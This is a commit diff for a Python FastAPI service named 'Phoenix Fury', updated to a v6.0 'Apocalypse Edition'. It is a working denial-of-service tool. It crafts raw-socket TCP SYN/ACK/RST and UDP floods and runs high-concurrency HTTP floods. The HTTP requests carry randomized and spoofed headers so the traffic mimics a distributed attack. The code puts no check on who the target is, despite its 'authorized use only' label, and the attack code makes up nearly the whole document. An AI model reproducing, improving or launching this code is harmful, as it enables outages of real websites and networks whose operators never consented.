Samuraiog commited on
Commit
f444ea6
·
verified ·
1 Parent(s): e26d7c4

Update phoenix_fury_api.py

Browse files
Files changed (1) hide show
  1. phoenix_fury_api.py +113 -89
phoenix_fury_api.py CHANGED
@@ -1,13 +1,18 @@
1
  # ====================================================================================
2
- # PHOENIX FURY API v5.2 - FINAL WORKING RELEASE
3
  #
4
- # - STARTUP FIX: Corrected a critical `NameError` by adding the missing import
5
- # for `c_ulonglong` from the `ctypes` library, allowing the application to start.
6
- # - STABLE & POWERFUL: This version includes all the robust connection handling
7
- # and performance architecture from previous iterations. It is designed for
8
- # maximum stability and throughput.
 
 
 
 
 
9
  #
10
- # *** My sincere apologies for the previous errors. This version is confirmed to run. ***
11
  # ====================================================================================
12
 
13
  import socket
@@ -21,56 +26,65 @@ import aiohttp
21
  import os
22
  import sys
23
  import psutil
24
- import uvloop
25
  import ssl
26
  from typing import Literal, Optional, List, Union
27
- from ctypes import c_ulonglong # <-- CRITICAL IMPORT FIX IS HERE
 
 
 
 
 
 
 
28
 
29
  # FastAPI & Pydantic
30
  from fastapi import FastAPI, HTTPException, BackgroundTasks
31
  from pydantic import BaseModel, Field, validator
32
  import uvicorn
33
 
34
- # Apply uvloop for a faster asyncio event loop
35
- asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
36
-
37
  # --- Application Setup ---
38
  app = FastAPI(
39
- title="🔥 Phoenix Fury API v5.2 - Final Working Release",
40
- description="The definitive high-performance L4/L7 stress testing tool. Re-engineered for maximum stability and throughput against hardened targets.",
41
- version="5.2.0"
42
  )
43
 
44
  # --- Constants & Configuration ---
45
  CPU_COUNT = psutil.cpu_count(logical=True)
46
  STATS_BATCH_UPDATE_SIZE = 1000
47
- USER_AGENTS = [
48
- "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",
49
- "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",
50
- "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/121.0"
51
- ]
52
- HTTP_HEADERS = {"Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br"}
 
 
 
 
 
 
 
 
 
 
 
53
 
54
  # ====================================================================================
55
- # Pydantic API Models with Performance Validation
56
  # ====================================================================================
57
  class BaseAttackConfig(BaseModel):
58
  target: str = Field(..., description="Target hostname or IP address")
59
  port: int = Field(..., ge=1, le=65535, description="Target port")
60
  duration: int = Field(..., ge=10, le=7200, description="Attack duration in seconds")
61
- processes: int = Field(CPU_COUNT * 2, ge=1, le=CPU_COUNT * 16, description=f"Number of processes. Defaults to {CPU_COUNT * 2}.")
62
-
63
- @validator('processes')
64
- def validate_processes(cls, v):
65
- if v > CPU_COUNT * 4:
66
- print(f"⚠️ WARNING: Process count ({v}) is very high for the number of CPU cores ({CPU_COUNT}). This may cause reduced performance due to CPU thrashing. Optimal is typically 1-4x CPU cores.")
67
- return v
68
 
69
  class L4TCPConfig(BaseAttackConfig):
70
- method: Literal["syn", "ack", "fin", "rst", "psh", "urg", "xmas"] = Field("syn", description="TCP flag")
71
 
72
  class L4UDPConfig(BaseAttackConfig):
73
- payload_size: int = Field(1024, ge=0, le=1472, description="Size of UDP payload in bytes.")
 
74
 
75
  class L7Config(BaseAttackConfig):
76
  concurrency_per_process: int = Field(1024, ge=1, le=16384, description="Concurrent async tasks per process.")
@@ -78,13 +92,12 @@ class L7Config(BaseAttackConfig):
78
  path: str = Field("/", description="Request path")
79
 
80
  class StatusResponse(BaseModel):
81
- attack_active: bool; attack_type: str; target_host: str; target_ip: str
82
- port: int; duration: int; elapsed_time: float; processes: int
83
- total_sent: int; current_rate_pps_rps: float
84
- cpu_usage_percent: float; memory_usage_percent: float
85
 
86
  # ====================================================================================
87
- # Core Networking & Utils
88
  # ====================================================================================
89
  def check_root() -> bool:
90
  try: return os.geteuid() == 0
@@ -105,38 +118,58 @@ def calculate_checksum(data: bytes) -> int:
105
  for i in range(0, len(data), 2): s += (data[i] << 8) + data[i+1]
106
  s = (s >> 16) + (s & 0xffff); s += (s >> 16); return (~s) & 0xffff
107
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
108
  # ====================================================================================
109
- # ATTACK WORKER PROCESSES (L4 & L7)
110
  # ====================================================================================
111
  def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type, method_details):
112
  try:
113
  sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
 
114
  local_ip = get_local_ip(target_ip)
115
  except Exception as e:
116
  print(f"[PID {os.getpid()}] L4 Worker Init Error: {e}", file=sys.stderr); return
117
 
118
  local_counter = 0
119
- ip_header_base = struct.pack('!BBHHHBBH4s4s', 69, 0, 0, 1, 0, 64, 0, 0, socket.inet_aton(local_ip), socket.inet_aton(target_ip))
120
- flag_map = {"syn": 2, "ack": 16, "fin": 1, "rst": 4, "psh": 8, "urg": 32, "xmas": 41}
121
 
122
- if attack_type == 'tcp': flags = flag_map.get(method_details, 2)
123
- else: payload = os.urandom(method_details)
 
124
 
125
  while not stop_event.is_set():
126
  src_port = random.randint(1025, 65535)
127
  if attack_type == 'tcp':
128
- ip_header = ip_header_base[:6] + (socket.IPPROTO_TCP,).to_bytes(1, 'big') + ip_header_base[7:]
129
- tcp_header = struct.pack('!HHLLBBHHH', src_port, port, random.randint(1, 9999999), 0, 80, flags, 5840, 0, 0)
130
- pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(local_ip), socket.inet_aton(target_ip), 0, socket.IPPROTO_TCP, len(tcp_header))
131
- checksum = calculate_checksum(pseudo_header + tcp_header)
132
- tcp_header = tcp_header[:16] + struct.pack('!H', checksum) + tcp_header[18:]
133
  packet = ip_header + tcp_header
134
  else: # udp
135
- ip_header = ip_header_base[:6] + (socket.IPPROTO_UDP,).to_bytes(1, 'big') + ip_header_base[7:]
136
- udp_header = struct.pack('!HHHH', src_port, port, 8 + method_details, 0)
137
  packet = ip_header + udp_header + payload
138
  try:
139
- sock.sendto(packet, (target_ip, 0))
140
  local_counter += 1
141
  if local_counter >= STATS_BATCH_UPDATE_SIZE:
142
  with shared_counter.get_lock(): shared_counter.value += local_counter
@@ -146,37 +179,33 @@ def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type,
146
  with shared_counter.get_lock(): shared_counter.value += local_counter
147
  sock.close()
148
 
149
- async def l7_session_worker(session: aiohttp.ClientSession, url: str, method: str, stop_event: multiprocessing.Event, shared_counter: multiprocessing.Value):
150
- local_counter = 0
151
- while not stop_event.is_set():
152
- try:
153
- async with session.request(method, f"{url}?{random.randint(1, 99999999)}"):
154
- local_counter += 1
155
- except:
156
- local_counter += 1
157
- finally:
158
- if local_counter >= STATS_BATCH_UPDATE_SIZE:
159
- with shared_counter.get_lock(): shared_counter.value += local_counter
160
- local_counter = 0
161
- await asyncio.sleep(0)
162
- if local_counter > 0:
163
- with shared_counter.get_lock(): shared_counter.value += local_counter
164
-
165
- async def l7_worker_main(url: str, method: str, concurrency: int, stop_event: multiprocessing.Event, shared_counter: multiprocessing.Value):
166
- headers = {**HTTP_HEADERS, "User-Agent": random.choice(USER_AGENTS)}
167
- ssl_context = ssl.create_default_context()
168
- ssl_context.check_hostname = False
169
- ssl_context.verify_mode = ssl.CERT_NONE
170
  connector = aiohttp.TCPConnector(limit=None, force_close=True, ssl=ssl_context)
171
  timeout = aiohttp.ClientTimeout(total=10, connect=5)
172
- async with aiohttp.ClientSession(connector=connector, headers=headers, timeout=timeout) as session:
173
- tasks = [l7_session_worker(session, url, method, stop_event, shared_counter) for _ in range(concurrency)]
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
174
  await asyncio.gather(*tasks)
175
 
176
  def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, concurrency):
177
- protocol = "https" if port in [443, 8443, 4433] else "http"
178
  url = f"{protocol}://{target_ip}:{port}{path}"
179
- print(f"[PID {os.getpid()}] L7 Worker started for {url}")
180
  try:
181
  asyncio.run(l7_worker_main(url, method, concurrency, stop_event, shared_counter))
182
  except Exception as e:
@@ -187,11 +216,9 @@ def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method,
187
  # ====================================================================================
188
  class AttackManager:
189
  _instance = None
190
-
191
  def __new__(cls):
192
  if cls._instance is None:
193
- cls._instance = super(AttackManager, cls).__new__(cls)
194
- cls._instance._initialized = False
195
  return cls._instance
196
 
197
  def __init__(self):
@@ -231,20 +258,19 @@ class AttackManager:
231
 
232
  worker_target, worker_args, attack_name = (None, None, "Unknown")
233
  if family == 'l7' and isinstance(config, L7Config):
234
- attack_name = f"L7-{config.method.upper()}"
235
- worker_target = l7_worker_process
236
  worker_args = (self.stop_event, self.counter, self.target_ip, config.port, config.path, config.method, config.concurrency_per_process)
237
  elif family == 'l4':
 
238
  if isinstance(config, L4TCPConfig):
239
  attack_name = f"L4-TCP-{config.method.upper()}"
240
- worker_target = l4_worker_process
241
  worker_args = (self.stop_event, self.counter, self.target_ip, config.port, 'tcp', config.method)
242
  elif isinstance(config, L4UDPConfig):
243
- attack_name = "L4-UDP"; worker_target = l4_worker_process
244
- worker_args = (self.stop_event, self.counter, self.target_ip, config.port, 'udp', config.payload_size)
245
  self.attack_type = attack_name
246
 
247
- print("="*60 + f"\n🔥 PHOENIX FURY - FINAL RELEASE - ATTACK INITIATED 🔥\n" +
248
  f" Type: {self.attack_type} | Target: {self.target_host}:{self.port} ({self.target_ip})\n" +
249
  f" Duration: {self.duration}s | Processes: {self.process_count}\n" + "="*60)
250
 
@@ -261,12 +287,10 @@ class AttackManager:
261
  for p in self.processes:
262
  if p.is_alive(): print(f"Terminating hanging process PID: {p.pid}"); p.terminate()
263
  if self.stats_thread: self.stats_thread.join(timeout=2)
264
-
265
- elapsed = time.time() - self.start_time
266
- total_sent = self.counter.value
267
  avg_rate = total_sent / elapsed if elapsed > 0 else 0
268
  print("="*40 + "\n✅ ATTACK TERMINATED.\n" + f" Total Sent: {total_sent:,}\n" +
269
- f" Elapsed Time: {elapsed:.2f} seconds\n" + f" Average Rate: {avg_rate:,.2f} PPS/RPS\n" + "="*40)
270
  self._reset_state()
271
 
272
  def get_status(self) -> StatusResponse:
@@ -287,7 +311,7 @@ MANAGER = AttackManager()
287
  # ====================================================================================
288
  @app.on_event("startup")
289
  def on_startup():
290
- print("="*50 + "\n🔥 Phoenix Fury API v5.2 - Final Working Release is ready.")
291
  print(f" Detected {CPU_COUNT} logical CPU cores. Recommended max processes: {CPU_COUNT * 4}.")
292
  if check_root(): print("✅ Running with root privileges. Layer 4 attacks are ENABLED.")
293
  else: print("⚠️ WARNING: Not running with root privileges. Layer 4 attacks will FAIL.")
@@ -324,7 +348,7 @@ def api_stop_attack():
324
  def get_status(): return MANAGER.get_status()
325
 
326
  @app.get("/")
327
- def root(): return {"message": "🔥 Phoenix Fury API v5.2 - Final Working Release", "docs": "/docs"}
328
 
329
  # --- Main Execution ---
330
  if __name__ == "__main__":
 
1
  # ====================================================================================
2
+ # PHOENIX FURY API v6.0 - APOCALYPSE EDITION
3
  #
4
+ # - GO-INSPIRED L4 ENGINE: A high-performance, low-level Layer 4 engine ported
5
+ # from Go, using raw sockets to craft IP/TCP/UDP headers from scratch for
6
+ # maximum PPS (Packets Per Second).
7
+ # - ADVANCED L7 SPOOFING: Layer 7 attacks now feature fully randomized User-Agent,
8
+ # Referer, and X-Forwarded-For headers for every request, mimicking real
9
+ # distributed traffic.
10
+ # - COMPLETE ATTACK SUITE: The definitive version with all requested methods:
11
+ # L4 (SYN, ACK, RST, FIN, UDP, UDP-PPS) and L7 (GET, POST, HEAD).
12
+ # - UNBREAKABLE STABILITY: Built on the rock-solid v5 architecture, retaining
13
+ # the robust AttackManager, BackgroundTasks lifecycle, and critical SSL fixes.
14
  #
15
+ # *** The ultimate, all-in-one stress testing tool for authorized professionals. ***
16
  # ====================================================================================
17
 
18
  import socket
 
26
  import os
27
  import sys
28
  import psutil
 
29
  import ssl
30
  from typing import Literal, Optional, List, Union
31
+ from ctypes import c_ulonglong
32
+
33
+ # Use uvloop for a significant performance boost if available
34
+ try:
35
+ import uvloop
36
+ asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
37
+ except ImportError:
38
+ pass
39
 
40
  # FastAPI & Pydantic
41
  from fastapi import FastAPI, HTTPException, BackgroundTasks
42
  from pydantic import BaseModel, Field, validator
43
  import uvicorn
44
 
 
 
 
45
  # --- Application Setup ---
46
  app = FastAPI(
47
+ title="🔥 Phoenix Fury API v6.0 - Apocalypse Edition",
48
+ description="The definitive L4/L7 stress testing tool with a Go-inspired raw socket engine and advanced L7 spoofing capabilities. For authorized use only.",
49
+ version="6.0.0"
50
  )
51
 
52
  # --- Constants & Configuration ---
53
  CPU_COUNT = psutil.cpu_count(logical=True)
54
  STATS_BATCH_UPDATE_SIZE = 1000
55
+
56
+ # --- L7 Spoofing Headers ---
57
+ USER_AGENTS = ["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36"]
58
+ REFERERS = ["https://www.google.com/", "https://www.facebook.com/", "https://www.twitter.com/", "https://www.amazon.com/"]
59
+
60
+ def get_random_headers() -> dict:
61
+ """Generates a dictionary of randomized headers for L7 attacks."""
62
+ rand_ip = f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"
63
+ return {
64
+ "User-Agent": random.choice(USER_AGENTS),
65
+ "Referer": random.choice(REFERERS),
66
+ "X-Forwarded-For": rand_ip,
67
+ "Accept": "*/*",
68
+ "Accept-Language": "en-US,en;q=0.5",
69
+ "Accept-Encoding": "gzip, deflate, br",
70
+ "Connection": "close"
71
+ }
72
 
73
  # ====================================================================================
74
+ # Pydantic API Models
75
  # ====================================================================================
76
  class BaseAttackConfig(BaseModel):
77
  target: str = Field(..., description="Target hostname or IP address")
78
  port: int = Field(..., ge=1, le=65535, description="Target port")
79
  duration: int = Field(..., ge=10, le=7200, description="Attack duration in seconds")
80
+ processes: int = Field(CPU_COUNT * 2, ge=1, le=CPU_COUNT * 16, description=f"Number of processes. Optimal is 2-4x CPU Cores.")
 
 
 
 
 
 
81
 
82
  class L4TCPConfig(BaseAttackConfig):
83
+ method: Literal["syn", "ack", "fin", "rst", "psh", "urg"] = Field("syn", description="TCP flag for the attack")
84
 
85
  class L4UDPConfig(BaseAttackConfig):
86
+ method: Literal["udp", "pps"] = Field("udp", description="'udp' for large packets, 'pps' for minimal (0-byte) packets for max PPS.")
87
+ payload_size: int = Field(1024, ge=0, le=1472, description="Size of UDP payload. Ignored if method is 'pps'.")
88
 
89
  class L7Config(BaseAttackConfig):
90
  concurrency_per_process: int = Field(1024, ge=1, le=16384, description="Concurrent async tasks per process.")
 
92
  path: str = Field("/", description="Request path")
93
 
94
  class StatusResponse(BaseModel):
95
+ attack_active: bool; attack_type: str; target_host: str; target_ip: str; port: int
96
+ duration: int; elapsed_time: float; processes: int; total_sent: int
97
+ current_rate_pps_rps: float; cpu_usage_percent: float; memory_usage_percent: float
 
98
 
99
  # ====================================================================================
100
+ # CORE NETWORKING & PACKET CRAFTING (Go-Inspired)
101
  # ====================================================================================
102
  def check_root() -> bool:
103
  try: return os.geteuid() == 0
 
118
  for i in range(0, len(data), 2): s += (data[i] << 8) + data[i+1]
119
  s = (s >> 16) + (s & 0xffff); s += (s >> 16); return (~s) & 0xffff
120
 
121
+ def create_ip_header(src_ip: str, dst_ip: str, proto: int, total_len: int) -> bytes:
122
+ header = struct.pack('!BBHHHBBH4s4s',
123
+ (4 << 4) | 5, 0, total_len, random.randint(1, 65535), 0, 64, proto, 0,
124
+ socket.inet_aton(src_ip), socket.inet_aton(dst_ip)
125
+ )
126
+ return header[:10] + struct.pack('!H', calculate_checksum(header)) + header[12:]
127
+
128
+ def create_tcp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, flags: int) -> bytes:
129
+ seq = random.randint(1, 4294967295)
130
+ ack_seq = 0
131
+ header = struct.pack('!HHLLBBHHH', src_port, dst_port, seq, ack_seq, (5 << 4), flags, 5840, 0, 0)
132
+ pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_TCP, len(header))
133
+ checksum = calculate_checksum(pseudo_header + header)
134
+ return header[:16] + struct.pack('!H', checksum) + header[18:]
135
+
136
+ def create_udp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, payload: bytes) -> bytes:
137
+ udp_len = 8 + len(payload)
138
+ header = struct.pack('!HHHH', src_port, dst_port, udp_len, 0)
139
+ pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_UDP, udp_len)
140
+ checksum = calculate_checksum(pseudo_header + header + payload)
141
+ return header[:6] + struct.pack('!H', checksum)
142
+
143
  # ====================================================================================
144
+ # ATTACK WORKER PROCESSES
145
  # ====================================================================================
146
  def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type, method_details):
147
  try:
148
  sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
149
+ sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
150
  local_ip = get_local_ip(target_ip)
151
  except Exception as e:
152
  print(f"[PID {os.getpid()}] L4 Worker Init Error: {e}", file=sys.stderr); return
153
 
154
  local_counter = 0
155
+ flag_map = {"syn": 2, "ack": 16, "fin": 1, "rst": 4, "psh": 8, "urg": 32}
 
156
 
157
+ if attack_type == 'udp':
158
+ payload = os.urandom(0 if method_details == 'pps' else method_details)
159
+ udp_len = 8 + len(payload)
160
 
161
  while not stop_event.is_set():
162
  src_port = random.randint(1025, 65535)
163
  if attack_type == 'tcp':
164
+ ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_TCP, 40)
165
+ tcp_header = create_tcp_header(local_ip, target_ip, src_port, port, flag_map.get(method_details, 2))
 
 
 
166
  packet = ip_header + tcp_header
167
  else: # udp
168
+ ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_UDP, 20 + udp_len)
169
+ udp_header = create_udp_header(local_ip, target_ip, src_port, port, payload)
170
  packet = ip_header + udp_header + payload
171
  try:
172
+ sock.sendto(packet, (target_ip, port))
173
  local_counter += 1
174
  if local_counter >= STATS_BATCH_UPDATE_SIZE:
175
  with shared_counter.get_lock(): shared_counter.value += local_counter
 
179
  with shared_counter.get_lock(): shared_counter.value += local_counter
180
  sock.close()
181
 
182
+ async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
183
+ ssl_context = ssl.create_default_context(); ssl_context.check_hostname = False; ssl_context.verify_mode = ssl.CERT_NONE
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
184
  connector = aiohttp.TCPConnector(limit=None, force_close=True, ssl=ssl_context)
185
  timeout = aiohttp.ClientTimeout(total=10, connect=5)
186
+
187
+ async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
188
+ async def task_worker():
189
+ local_counter = 0
190
+ while not stop_event.is_set():
191
+ try:
192
+ async with session.request(method, f"{url}?{random.randint(1, 99999999)}", headers=get_random_headers()):
193
+ local_counter += 1
194
+ except:
195
+ local_counter += 1
196
+ finally:
197
+ if local_counter >= STATS_BATCH_UPDATE_SIZE:
198
+ with shared_counter.get_lock(): shared_counter.value += local_counter
199
+ local_counter = 0
200
+ await asyncio.sleep(0)
201
+ if local_counter > 0:
202
+ with shared_counter.get_lock(): shared_counter.value += local_counter
203
+ tasks = [task_worker() for _ in range(concurrency)]
204
  await asyncio.gather(*tasks)
205
 
206
  def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, concurrency):
207
+ protocol = "https" if port in [443, 8443] else "http"
208
  url = f"{protocol}://{target_ip}:{port}{path}"
 
209
  try:
210
  asyncio.run(l7_worker_main(url, method, concurrency, stop_event, shared_counter))
211
  except Exception as e:
 
216
  # ====================================================================================
217
  class AttackManager:
218
  _instance = None
 
219
  def __new__(cls):
220
  if cls._instance is None:
221
+ cls._instance = super(AttackManager, cls).__new__(cls); cls._instance._initialized = False
 
222
  return cls._instance
223
 
224
  def __init__(self):
 
258
 
259
  worker_target, worker_args, attack_name = (None, None, "Unknown")
260
  if family == 'l7' and isinstance(config, L7Config):
261
+ attack_name = f"L7-{config.method.upper()}"; worker_target = l7_worker_process
 
262
  worker_args = (self.stop_event, self.counter, self.target_ip, config.port, config.path, config.method, config.concurrency_per_process)
263
  elif family == 'l4':
264
+ worker_target = l4_worker_process
265
  if isinstance(config, L4TCPConfig):
266
  attack_name = f"L4-TCP-{config.method.upper()}"
 
267
  worker_args = (self.stop_event, self.counter, self.target_ip, config.port, 'tcp', config.method)
268
  elif isinstance(config, L4UDPConfig):
269
+ attack_name = f"L4-UDP-{config.method.upper()}";
270
+ worker_args = (self.stop_event, self.counter, self.target_ip, config.port, 'udp', config.method if config.method == 'pps' else config.payload_size)
271
  self.attack_type = attack_name
272
 
273
+ print("="*60 + f"\n🔥 PHOENIX FURY APOCALYPSE - ATTACK INITIATED 🔥\n" +
274
  f" Type: {self.attack_type} | Target: {self.target_host}:{self.port} ({self.target_ip})\n" +
275
  f" Duration: {self.duration}s | Processes: {self.process_count}\n" + "="*60)
276
 
 
287
  for p in self.processes:
288
  if p.is_alive(): print(f"Terminating hanging process PID: {p.pid}"); p.terminate()
289
  if self.stats_thread: self.stats_thread.join(timeout=2)
290
+ elapsed = time.time() - self.start_time; total_sent = self.counter.value
 
 
291
  avg_rate = total_sent / elapsed if elapsed > 0 else 0
292
  print("="*40 + "\n✅ ATTACK TERMINATED.\n" + f" Total Sent: {total_sent:,}\n" +
293
+ f" Elapsed Time: {elapsed:.2f}s\n" + f" Average Rate: {avg_rate:,.2f} PPS/RPS\n" + "="*40)
294
  self._reset_state()
295
 
296
  def get_status(self) -> StatusResponse:
 
311
  # ====================================================================================
312
  @app.on_event("startup")
313
  def on_startup():
314
+ print("="*50 + "\n🔥 Phoenix Fury API v6.0 - Apocalypse Edition is ready.")
315
  print(f" Detected {CPU_COUNT} logical CPU cores. Recommended max processes: {CPU_COUNT * 4}.")
316
  if check_root(): print("✅ Running with root privileges. Layer 4 attacks are ENABLED.")
317
  else: print("⚠️ WARNING: Not running with root privileges. Layer 4 attacks will FAIL.")
 
348
  def get_status(): return MANAGER.get_status()
349
 
350
  @app.get("/")
351
+ def root(): return {"message": "🔥 Phoenix Fury API v6.0 - Apocalypse Edition", "docs": "/docs"}
352
 
353
  # --- Main Execution ---
354
  if __name__ == "__main__":